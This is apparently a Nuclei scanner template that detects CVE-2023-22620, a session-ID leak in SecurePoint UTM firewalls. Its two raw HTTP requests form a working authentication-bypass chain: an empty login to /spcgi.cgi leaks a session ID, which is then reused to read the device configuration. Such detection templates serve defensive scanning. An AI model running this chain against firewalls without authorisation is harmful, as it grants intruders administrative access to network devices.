id: CVE-2023-22620

info:
  name: SecurePoint UTM 12.x Session ID Leak
  author: DhiyaneshDK
  severity: medium
  description: |
    An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall's endpoint at /spcgi.cgi allows sessionid information disclosure via an invalid authentication attempt. This can afterwards be used to bypass the device's authentication and get access to the administrative interface.
  remediation: Upgrade to version 12.2.5.1 or newer
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22620
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2023-22620.txt
    - https://www.rcesecurity.com/2023/04/securepwn-part-1-bypassing-securepoint-utms-authentication-cve-2023-22620/
    - https://packetstormsecurity.com/files/171924/SecurePoint-UTM-12.x-Session-ID-Leak.html
  metadata:
    max-request: 2
    verified: true
    shodan-query: title:"Securepoint UTM"
  tags: utm,leak,memory,packetstorm,cve,cve2023,securepoint

http:
  - raw:
      - |
        POST /spcgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

        {"module":"auth","command":["login"],"sessionid":"","arguments":{"user":"","pass":""}}

      - |
        POST /spcgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

        {"module":"system","command":["config","get"],"sessionid":"{{session}}"}

    extractors:
      - type: regex
        name: session
        group: 1
        regex:
          - '"sessionid": "([a-z0-9]+)"'
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"status":"OK"'

      - type: word
        part: header_2
        words:
          - 'application/json'